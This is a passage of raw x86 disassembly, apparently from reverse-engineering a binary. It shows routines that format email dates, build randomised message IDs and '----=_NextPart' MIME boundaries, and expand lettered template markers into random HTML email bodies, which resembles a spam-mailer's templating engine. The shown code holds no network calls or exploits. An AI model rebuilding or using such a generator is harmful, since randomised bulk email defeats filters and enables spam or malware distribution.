var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 94h
		push	ebx
		push	esi
		lea	eax, [ebp+6Ch+var_94]
		push	eax
		push	[ebp+6Ch+arg_0]
		mov	[ebp+6Ch+var_70], offset aJan ;	"Jan"
		mov	[ebp+6Ch+var_6C], offset aFeb ;	"Feb"
		mov	[ebp+6Ch+var_68], offset aMar ;	"Mar"
		mov	[ebp+6Ch+var_64], offset aApr ;	"Apr"
		mov	[ebp+6Ch+var_60], offset aMay ;	"May"
		mov	[ebp+6Ch+var_5C], offset aJun ;	"Jun"
		mov	[ebp+6Ch+var_58], offset aJul ;	"Jul"
		mov	[ebp+6Ch+var_54], offset aAug ;	"Aug"
		mov	[ebp+6Ch+var_50], offset aSep ;	"Sep"
		mov	[ebp+6Ch+var_4C], offset aOct ;	"Oct"
		mov	[ebp+6Ch+var_48], offset aNov ;	"Nov"
		mov	[ebp+6Ch+var_44], offset aDec ;	"Dec"
		mov	[ebp+6Ch+var_40], offset aSun ;	"Sun"
		mov	[ebp+6Ch+var_3C], offset aMon ;	"Mon"
		mov	[ebp+6Ch+var_38], offset aTue ;	"Tue"
		mov	[ebp+6Ch+var_34], offset aWed ;	"Wed"
		mov	[ebp+6Ch+var_30], offset aThu ;	"Thu"
		mov	[ebp+6Ch+var_2C], offset aFri ;	"Fri"
		mov	[ebp+6Ch+var_28], offset aSat ;	"Sat"
		call	sub_40D1A6
		lea	eax, [ebp+6Ch+var_24]
		push	eax
		push	[ebp+6Ch+arg_0]
		call	sub_40D261
		mov	esi, [ebp+6Ch+var_1C]
		sub	esi, [ebp+6Ch+var_8C]
		mov	eax, [ebp+6Ch+var_10]
		imul	esi, 3Ch
		sub	esi, [ebp+6Ch+var_90]
		add	esp, 10h
		add	esi, [ebp+6Ch+var_20]
		cmp	eax, [ebp+6Ch+var_80]
		jz	short loc_4071E2
		sub	eax, [ebp+6Ch+var_80]
		jmp	short loc_4071E8
; ---------------------------------------------------------------------------


loc_4071E2:				; CODE XREF: sub_407119+C2j
		mov	eax, [ebp+6Ch+var_8]
		sub	eax, [ebp+6Ch+var_78]


loc_4071E8:				; CODE XREF: sub_407119+C7j
		imul	eax, 5A0h
		add	esi, eax
		test	esi, esi
		mov	bl, 2Bh
		jge	short loc_4071FB
		add	bl, 2
		neg	esi


loc_4071FB:				; CODE XREF: sub_407119+DBj
		cmp	[ebp+6Ch+arg_4], 0
		mov	ecx, [ebp+6Ch+arg_8]
		jnz	short loc_40724E
		push	20h
		call	sub_40DADA
		push	3Ch
		pop	ecx
		mov	eax, esi
		cdq
		idiv	ecx
		push	edx
		push	eax
		movsx	eax, bl
		push	eax
		push	[ebp+6Ch+var_24]
		mov	eax, [ebp+6Ch+var_10]
		push	[ebp+6Ch+var_20]
		add	eax, 76Ch
		push	[ebp+6Ch+var_1C]
		push	eax
		mov	eax, [ebp+6Ch+var_14]
		push	[ebp+eax*4+6Ch+var_70]
		mov	eax, [ebp+6Ch+var_C]
		push	[ebp+6Ch+var_18]
		push	[ebp+eax*4+6Ch+var_40]
		push	offset aSDS04d02d02d02 ; "%s, %d %s %04d %02d:%02d:%02d	%c%02d%02"...
		push	[ebp+6Ch+arg_8]
		call	sub_40DB15
		add	esp, 30h
		jmp	short loc_40727F
; ---------------------------------------------------------------------------


loc_40724E:				; CODE XREF: sub_407119+E9j
		push	10h
		call	sub_40DADA
		push	[ebp+6Ch+var_24]
		mov	eax, [ebp+6Ch+var_14]
		push	[ebp+6Ch+var_20]
		inc	eax
		push	[ebp+6Ch+var_1C]
		push	[ebp+6Ch+var_18]
		push	eax
		mov	eax, [ebp+6Ch+var_10]
		add	eax, 76Ch
		push	eax
		push	offset a04d02d02d02d02 ; "%04d%02d%02d%02d%02d%02d"
		push	[ebp+6Ch+arg_8]
		call	sub_40DB15
		add	esp, 20h


loc_40727F:				; CODE XREF: sub_407119+133j
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		leave
		retn	0Ch
sub_407119	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407288	proc near		; CODE XREF: sub_4074FB+80Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		or	ebx, 0FFFFFFFFh
		mov	esi, ebx
		mov	edi, ebx
		call	sub_40CD83
		and	[ebp+var_8], 0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_18], eax
		jl	loc_407369
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], ebx
		sub	[ebp+var_C], eax
		mov	[ebp+var_4], eax


loc_4072BC:				; CODE XREF: sub_407288+DBj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_40CE3C
		test	eax, eax
		pop	ecx
		jz	short loc_4072D4
		cmp	esi, ebx
		jnz	short loc_4072D4
		mov	esi, [ebp+var_8]


loc_4072D4:				; CODE XREF: sub_407288+43j
					; sub_407288+47j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_40CE3C
		test	eax, eax
		pop	ecx
		jnz	short loc_4072F2
		cmp	edi, ebx
		jnz	short loc_4072F2
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx]


loc_4072F2:				; CODE XREF: sub_407288+5Bj
					; sub_407288+5Fj
		cmp	esi, ebx
		jle	short loc_407357
		cmp	edi, ebx
		jle	short loc_407342
		mov	eax, edi
		sub	eax, esi
		cmp	eax, 2
		jle	short loc_407342
		inc	esi
		add	edi, 0FFFFFFFEh
		jmp	short loc_40733A
; ---------------------------------------------------------------------------


loc_407309:				; CODE XREF: sub_407288+B4j
		call	sub_40CF34
		and	eax, 80000001h
		jns	short loc_40731A
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax


loc_40731A:				; CODE XREF: sub_407288+8Bj
		jz	short loc_407339
		mov	ecx, [ebp+arg_0]
		lea	eax, [esi+ecx+1]
		add	ecx, esi
		mov	[ebp+var_10], eax
		mov	al, [eax]
		mov	edx, [ebp+var_10]
		mov	[ebp+var_14], ecx
		mov	cl, [ecx]
		mov	[edx], cl
		mov	ecx, [ebp+var_14]
		mov	[ecx], al


loc_407339:				; CODE XREF: sub_407288:loc_40731Aj
		inc	esi


loc_40733A:				; CODE XREF: sub_407288+7Fj
		cmp	esi, edi
		jl	short loc_407309
		mov	edi, ebx
		mov	esi, ebx


loc_407342:				; CODE XREF: sub_407288+70j
					; sub_407288+79j
		cmp	esi, ebx
		jle	short loc_407357
		cmp	edi, ebx
		jle	short loc_407357
		mov	eax, edi
		sub	eax, esi
		cmp	eax, 3
		jg	short loc_407357
		mov	edi, ebx
		mov	esi, ebx


loc_407357:				; CODE XREF: sub_407288+6Cj
					; sub_407288+BCj ...
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		inc	[ebp+var_4]
		cmp	eax, [ebp+var_18]
		jle	loc_4072BC


loc_407369:				; CODE XREF: sub_407288+22j
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_407288	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407373	proc near		; CODE XREF: sub_4074FB+2E4p
					; sub_4074FB+2FCp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_C]
		push	ebx
		push	esi
		push	edi
		call	sub_40DB00
		push	[ebp+arg_4]
		call	sub_40CD83
		push	[ebp+arg_4]
		mov	edi, [ebp+arg_0]
		push	edi
		mov	ebx, eax
		call	sub_40CE77
		add	esp, 0Ch
		jmp	short loc_4073BD
; ---------------------------------------------------------------------------


loc_40739C:				; CODE XREF: sub_407373+52j
		mov	byte ptr [esi],	0
		call	sub_401AA0
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		call	sub_401AA0
		push	[ebp+arg_4]
		lea	edi, [esi+ebx]
		push	edi
		call	sub_40CE77
		pop	ecx
		pop	ecx


loc_4073BD:				; CODE XREF: sub_407373+27j
		mov	ecx, [ebp+arg_C]
		mov	esi, eax
		test	esi, esi
		push	edi
		jnz	short loc_40739C
		call	sub_401AA0
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_407373	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4073D3	proc near		; CODE XREF: sub_407DE3+1Ap
					; sub_407DE3+16Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		call	sub_40CD83
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		mov	[ebp+arg_0], eax
		jle	short loc_40741A
		mov	edx, [ebp+arg_4]


loc_4073F3:				; CODE XREF: sub_4073D3+45j
		mov	al, [ecx+edi]
		cmp	al, 25h
		jnz	short loc_407423
		cmp	byte ptr [ecx+edi+1], 5Eh
		jnz	short loc_407423
		mov	eax, ebx
		inc	ebx
		test	eax, eax
		jnz	short loc_407413
		and	dword ptr [edx+esi*8+4], 0
		lea	eax, [ecx+2]
		mov	[edx+esi*8], eax


loc_407413:				; CODE XREF: sub_4073D3+33j
					; sub_4073D3+5Cj
		inc	ecx


loc_407414:				; CODE XREF: sub_4073D3+52j
					; sub_4073D3+59j ...
		inc	ecx
		cmp	ecx, [ebp+arg_0]
		jl	short loc_4073F3


loc_40741A:				; CODE XREF: sub_4073D3+1Bj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_4073D3+25j
					; sub_4073D3+2Cj
		cmp	al, 5Eh
		jnz	short loc_407414
		cmp	byte ptr [ecx+edi+1], 25h
		jnz	short loc_407414
		dec	ebx
		jnz	short loc_407413
		mov	eax, ecx
		sub	eax, [edx+esi*8]
		inc	esi
		mov	[edx+esi*8-4], eax
		jmp	short loc_407414
sub_4073D3	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40743D(double,int)

sub_40743D	proc near		; CODE XREF: sub_40746D+40p

arg_0		= qword	ptr  4
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		mov	eax, ecx
		jge	short loc_407449
		neg	eax


loc_407449:				; CODE XREF: sub_40743D+8j
		fld1
		fld	st
		fld	[esp+arg_0]


loc_407451:				; CODE XREF: sub_40743D+22j
		test	al, 1
		jz	short loc_407457
		fmul	st(1), st


loc_407457:				; CODE XREF: sub_40743D+16j
		shr	eax, 1
		jz	short loc_407461
		fld	st
		fmulp	st(1), st
		jmp	short loc_407451
; ---------------------------------------------------------------------------


loc_407461:				; CODE XREF: sub_40743D+1Cj
		test	ecx, ecx
		fstp	st
		jge	short loc_40746A
		fdivp	st(1), st
		retn
; ---------------------------------------------------------------------------


loc_40746A:				; CODE XREF: sub_40743D+28j
		fstp	st(1)
		retn
sub_40743D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40746D	proc near		; CODE XREF: sub_4074FB+128p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fild	[ebp+arg_0]
		push	esi
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_40CF9B
		fdiv	ds:dbl_41BEE8
		fstp	[esp+24h+var_24]
		call	sub_40CF55
		fistp	qword ptr [ebp+var_10]
		pop	ecx
		mov	esi, [ebp+var_10]
		test	esi, esi
		pop	ecx
		jl	short loc_4074F6


loc_40749B:				; CODE XREF: sub_40746D+87j
		fild	[ebp+arg_0]
		push	esi		; int
		push	ecx		; double
		push	ecx		; double
		fstp	qword ptr [ebp+var_10]
		fld	ds:dbl_41BEE0
		fstp	qword ptr [esp]
		call	sub_40743D
		fstp	[ebp+var_8]
		add	esp, 4
		fld	qword ptr [ebp+var_10]
		fdiv	[ebp+var_8]
		fstp	[esp+24h+var_24]
		call	sub_40CF55
		fistp	[ebp+var_18]
		pop	ecx
		mov	eax, dword ptr [ebp+var_18]
		mov	[ebp+arg_0], eax
		movzx	eax, ds:byte_41BE08[eax]
		pop	ecx
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_40707B
		dec	esi
		fild	[ebp+arg_0]
		fmul	[ebp+var_8]
		fsubr	qword ptr [ebp+var_10]
		fistp	qword ptr [ebp+var_10]
		mov	eax, [ebp+var_10]
		mov	[ebp+arg_0], eax
		jns	short loc_40749B


loc_4074F6:				; CODE XREF: sub_40746D+2Cj
		pop	esi
		leave
		retn	8
sub_40746D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4074FB	proc near		; CODE XREF: sub_407DE3+196p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx]
		movsx	ecx, byte ptr [eax]
		lea	edx, [ecx-41h]	; switch 26 cases
		cmp	edx, 19h
		ja	loc_407D34	; default
					; jumptable 00407522 case 84
		jmp	ds:off_407D7B[edx*4] ; switch jump


loc_407529:				; DATA XREF: .text:off_407D7Bo
		push	0		; jumptable 00407522 case 89
		call	sub_40CFAE
		mov	esi, eax
		mov	eax, [ebx]
		inc	eax
		push	eax
		call	sub_40CE59
		add	eax, esi
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_40D1A6
		add	esp, 10h
		push	9
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		mov	eax, [ebp+var_1C]
		cdq
		push	3Ch
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_4]
		push	3Eh
		mov	al, ds:byte_41BE08[edx]
		mov	[ecx], al
		mov	eax, [ebp+var_20]
		mov	al, ds:byte_41BE08[eax]
		mov	ecx, [ebp+var_4]
		mov	[ecx+1], al
		mov	eax, [ebp+var_24]
		mov	al, ds:byte_41BE08[eax]
		mov	ecx, [ebp+var_4]
		mov	[ecx+2], al
		mov	eax, [ebp+var_28]
		mov	al, ds:byte_41BE08[eax]
		mov	ecx, [ebp+var_4]
		mov	[ecx+3], al
		mov	eax, [ebp+var_2C]
		cdq
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_4]
		push	3Eh
		mov	al, ds:byte_41BE08[edx]
		mov	[ecx+4], al
		mov	eax, [ebp+var_30]
		cdq
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_4]
		mov	al, ds:byte_41BE08[edx]
		mov	[ecx+5], al
		call	sub_40CF34
		imul	eax, 3Bh
		cdq
		mov	esi, 7FFFh
		mov	ecx, esi
		idiv	ecx
		mov	ecx, [ebp+var_4]
		mov	al, ds:byte_41BE08[eax]
		mov	[ecx+6], al
		call	sub_40CF34
		imul	eax, 3Bh
		cdq
		idiv	esi
		mov	ecx, [ebp+var_4]
		mov	al, ds:byte_41BE08[eax]
		mov	[ecx+7], al
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+8], 0
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407606:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		push	0		; jumptable 00407522 case 77
		call	sub_40CFAE
		mov	esi, eax
		mov	eax, [ebx]
		inc	eax
		push	eax
		call	sub_40CE59
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		add	eax, esi
		push	eax
		mov	ecx, edi
		call	sub_40746D
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		inc	eax		; jumptable 00407522 case 80
		push	3Ah
		push	eax
		call	sub_40CECD
		mov	esi, eax
		mov	byte ptr [esi],	0
		mov	eax, ebx
		mov	eax, [eax]
		inc	eax
		push	eax
		call	sub_40CE59
		inc	esi
		push	esi
		mov	ebx, eax
		call	sub_40CD83
		mov	edi, eax
		add	esp, 10h
		lea	eax, [ebx+1]
		push	eax
		lea	ecx, [ebp+var_4]
		dec	edi
		call	sub_40DADA
		and	[ebp+arg_4], 0
		test	ebx, ebx
		jle	loc_407D5F


loc_40766D:				; CODE XREF: sub_4074FB+194j
		call	sub_40CF34
		imul	eax, edi
		cdq
		mov	ecx, 7FFFh
		idiv	ecx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		inc	[ebp+arg_4]
		cmp	[ebp+arg_4], ebx
		mov	al, [eax+esi]
		mov	[edx+ecx], al
		jl	short loc_40766D
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407696:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		movsx	esi, byte ptr [eax+1] ;	jumptable 00407522 case	67
		add	eax, 2
		push	eax
		sub	esi, 30h
		call	sub_40CA6D
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx+esi*4], eax
		mov	eax, [ebx]
		inc	eax
		inc	eax
		jmp	loc_407D52
; ---------------------------------------------------------------------------


loc_4076B6:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		movsx	esi, byte ptr [eax+1] ;	jumptable 00407522 case	72
		add	eax, 2
		push	eax
		sub	esi, 30h
		call	sub_40CA6D
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx+esi*4], eax
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_4076D2:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		movsx	eax, byte ptr [eax+1] ;	jumptable 00407522 case	86
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4-0C0h]
		test	eax, eax
		jmp	loc_407D52
; ---------------------------------------------------------------------------


loc_4076E7:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		push	0		; jumptable 00407522 case 68
		call	sub_40CFAE
		mov	esi, eax
		mov	eax, [ebx]
		inc	eax
		push	eax
		call	sub_40CE59
		pop	ecx
		add	eax, esi
		pop	ecx
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0


loc_407706:				; CODE XREF: sub_4074FB+23Aj
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, edi
		call	sub_407119
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407716:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		push	0		; jumptable 00407522 case 87
		call	sub_40CFAE
		mov	esi, eax
		mov	eax, [ebx]
		inc	eax
		push	eax
		call	sub_40CE59
		pop	ecx
		add	eax, esi
		pop	ecx
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		jmp	short loc_407706
; ---------------------------------------------------------------------------


loc_407737:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		inc	eax		; jumptable 00407522 case 82
		push	eax
		call	sub_40CD83
		test	eax, eax
		pop	ecx
		jnz	short loc_40774C
		xor	edi, edi
		mov	esi, 0F4240h
		jmp	short loc_407785
; ---------------------------------------------------------------------------


loc_40774C:				; CODE XREF: sub_4074FB+246j
		mov	eax, [ebx]
		inc	eax
		push	2Dh
		push	eax
		call	sub_40CECD
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_407777
		mov	byte ptr [esi],	0
		mov	eax, [ebx]
		inc	eax
		push	eax
		call	sub_40CE59
		inc	esi
		push	esi
		mov	edi, eax
		call	sub_40CE59
		pop	ecx
		jmp	short loc_407782
; ---------------------------------------------------------------------------


loc_407777:				; CODE XREF: sub_4074FB+262j
		mov	eax, [ebx]
		xor	edi, edi
		inc	eax
		push	eax
		call	sub_40CE59


loc_407782:				; CODE XREF: sub_4074FB+27Aj
		mov	esi, eax
		pop	ecx


loc_407785:				; CODE XREF: sub_4074FB+24Fj
		push	0Ch
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		call	sub_40CF34
		sub	esi, edi
		imul	eax, esi
		cdq
		mov	ecx, 7FFFh
		idiv	ecx
		add	eax, edi


loc_4077A3:				; CODE XREF: sub_4074FB+767j
		push	eax
		lea	eax, [ebp+var_4]
		push	offset aI	; "%i"
		push	eax
		call	sub_40DB15
		add	esp, 0Ch
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_4077BA:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		lea	ecx, [ebp+arg_4] ; jumptable 00407522 case 76
		call	sub_40DB48
		lea	ecx, [ebp+arg_8]
		call	sub_40DB48
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebx]
		mov	esi, offset dword_41BDD8
		push	esi
		push	offset aDivFontFace3da ; "<DIV><FONT face=3DArial size=3D2></FONT"...
		inc	eax
		push	eax
		mov	ecx, edi
		call	sub_407373
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset asc_41BC28 ; " "
		push	offset a20	; "=20\r\n"
		push	[ebp+arg_4]
		mov	ecx, edi
		call	sub_407373
		lea	eax, [ebp+arg_4]
		push	eax
		push	esi
		push	offset aDivFontFace3_0 ; "<DIV><FONT face=3DArial size=3D2>"
		push	[ebp+arg_8]
		mov	ecx, edi
		call	sub_407373
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	offset aFontDiv	; "</FONT></DIV>"
		push	[ebp+arg_4]
		mov	ecx, edi
		call	sub_407373
		lea	ecx, [ebp+arg_8]
		call	sub_40DB59
		lea	ecx, [ebp+arg_4]
		call	sub_40DB59
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407839:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		inc	eax		; jumptable 00407522 case 79
		push	3Ah
		push	eax
		call	sub_40CECD
		mov	esi, eax
		mov	byte ptr [esi],	0
		pop	ecx
		mov	eax, ebx
		mov	eax, [eax]
		pop	ecx
		inc	esi
		inc	eax
		push	eax
		call	ds:dword_4181CC
		push	esi
		mov	[ebp+arg_8], eax
		call	sub_40CE59
		mov	ebx, [ebp+arg_18]
		cmp	dword ptr [ebx], 0
		pop	ecx
		mov	[ebp+arg_4], eax
		jnz	short loc_407889
		push	3Ah
		push	esi
		call	sub_40CECD
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407883
		inc	eax
		push	eax
		call	sub_40CE59
		pop	ecx
		jmp	short loc_407887
; ---------------------------------------------------------------------------


loc_407883:				; CODE XREF: sub_4074FB+37Cj
		mov	eax, [ebp+arg_4]
		dec	eax


loc_407887:				; CODE XREF: sub_4074FB+386j
		mov	[ebx], eax


loc_407889:				; CODE XREF: sub_4074FB+36Ej
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+arg_4]
		sub	eax, [ebx]
		mov	ecx, edi
		imul	eax, [ebp+arg_14]
		imul	eax, 2710h
		push	eax
		push	[ebp+arg_C]
		call	sub_4070DD
		push	20h
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		push	[ebp+arg_8]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	offset a04x08_8lx08_8l ; "%04x%08.8lx$%08.8lx$%08x@"


loc_4078C2:				; CODE XREF: sub_4074FB+434j
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_40DB15
		add	esp, 18h
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_4078D3:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		inc	eax		; jumptable 00407522 case 66
		push	3Ah
		push	eax
		call	sub_40CECD
		mov	esi, eax
		mov	byte ptr [esi],	0
		mov	eax, [ebx]
		inc	eax
		push	eax
		call	sub_40CE59
		inc	esi
		push	esi
		mov	ebx, eax
		call	sub_40CE59
		mov	ecx, [ebp+arg_18]
		mov	esi, eax
		add	esp, 10h
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, esi
		sub	eax, [ecx]
		mov	ecx, edi
		imul	eax, [ebp+arg_14]
		imul	eax, 2710h
		push	eax
		push	[ebp+arg_10]
		call	sub_4070DD
		push	2Ch
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	offset a_nextpart_03d_ ; "----=_NextPart_%03d_%04X_%08.8lX.%08.8l"...
		jmp	short loc_4078C2
; ---------------------------------------------------------------------------


loc_407931:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		push	0		; jumptable 00407522 case 65
		push	dword ptr [edi]
		jmp	loc_407D57
; ---------------------------------------------------------------------------


loc_40793A:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		lea	edi, [eax+1]	; jumptable 00407522 case 81
		push	edi
		call	sub_40CD83
		mov	[ebp+arg_8], eax
		xor	esi, esi
		xor	eax, eax
		inc	eax
		or	ebx, 0FFFFFFFFh
		cmp	[ebp+arg_8], esi
		pop	ecx
		mov	[ebp+arg_4], esi
		mov	[ebp+arg_18], esi
		jle	loc_407D5F


loc_40795E:				; CODE XREF: sub_4074FB+518j
		mov	cl, [esi+edi]
		cmp	cl, 20h
		jnz	short loc_407970
		mov	edx, [ebp+arg_4]
		mov	ebx, esi
		mov	[ebp+arg_18], edx
		jmp	short loc_407987
; ---------------------------------------------------------------------------


loc_407970:				; CODE XREF: sub_4074FB+469j
		cmp	cl, 3Ch
		jnz	short loc_40797E
		mov	[ebp+arg_4], 1
		jmp	short loc_407987
; ---------------------------------------------------------------------------


loc_40797E:				; CODE XREF: sub_4074FB+478j
		cmp	cl, 3Eh
		jnz	short loc_407987
		and	[ebp+arg_4], 0


loc_407987:				; CODE XREF: sub_4074FB+473j
					; sub_4074FB+481j ...
		cmp	cl, 0Dh
		jnz	short loc_407993
		cmp	byte ptr [esi+edi+1], 0Ah
		jz	short loc_40799B


loc_407993:				; CODE XREF: sub_4074FB+48Fj
		mov	ecx, [ebp+arg_8]
		dec	ecx
		cmp	esi, ecx
		jnz	short loc_4079B3


loc_40799B:				; CODE XREF: sub_4074FB+496j
		lea	ecx, [eax+1]
		push	ecx
		mov	ecx, esi
		sub	ecx, eax
		lea	eax, [ecx+edi+1]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		inc	esi
		jmp	short loc_407A09
; ---------------------------------------------------------------------------


loc_4079B3:				; CODE XREF: sub_4074FB+49Ej
		cmp	eax, 49h
		jnz	short loc_407A0E
		cmp	ebx, 0FFFFFFFFh
		lea	ecx, [ebp+var_4]
		jle	short loc_4079F0
		mov	eax, ebx
		sub	eax, esi
		add	eax, 48h
		push	eax
		lea	eax, [esi+edi-48h]
		push	eax
		call	sub_40DBA2
		cmp	[ebp+arg_18], 0
		lea	ecx, [ebp+var_4]
		jz	short loc_4079E2
		push	offset a20	; "=20\r\n"
		jmp	short loc_4079E7
; ---------------------------------------------------------------------------


loc_4079E2:				; CODE XREF: sub_4074FB+4DEj
		push	offset asc_41BF08 ; " =\r\n"


loc_4079E7:				; CODE XREF: sub_4074FB+4E5j
		call	sub_401AA0
		mov	esi, ebx
		jmp	short loc_407A09
; ---------------------------------------------------------------------------


loc_4079F0:				; CODE XREF: sub_4074FB+4C3j
		push	49h
		lea	eax, [esi+edi-48h]
		push	eax
		call	sub_40DBA2
		push	offset asc_41BF04 ; "=\r\n"
		lea	ecx, [ebp+var_4]
		call	sub_401AA0


loc_407A09:				; CODE XREF: sub_4074FB+4B6j
					; sub_4074FB+4F3j
		xor	eax, eax
		or	ebx, 0FFFFFFFFh


loc_407A0E:				; CODE XREF: sub_4074FB+4BBj
		inc	esi
		inc	eax
		cmp	esi, [ebp+arg_8]
		jl	loc_40795E
		jmp	loc_407D5F
; ---------------------------------------------------------------------------


loc_407A1E:				; CODE XREF: sub_4074FB+27j
					; DATA XREF: .text:off_407D7Bo
		lea	edi, [eax+1]	; jumptable 00407522 case 71
		push	edi
		call	sub_40CD83
		mov	[ebp+arg_8], eax
		xor	esi, esi
		xor	eax, eax
		inc	eax
		or	ebx, 0FFFFFFFFh
		cmp	[ebp+arg_8], esi
		pop	ecx
		mov	[ebp+arg_4], esi
		mov	[ebp+arg_18], esi
		jle	loc_407D5F


loc_407A42:				; CODE XREF: sub_4074FB+5E4j
		mov	cl, [esi+edi]
		cmp	cl, 20h
		jnz	short loc_407A54
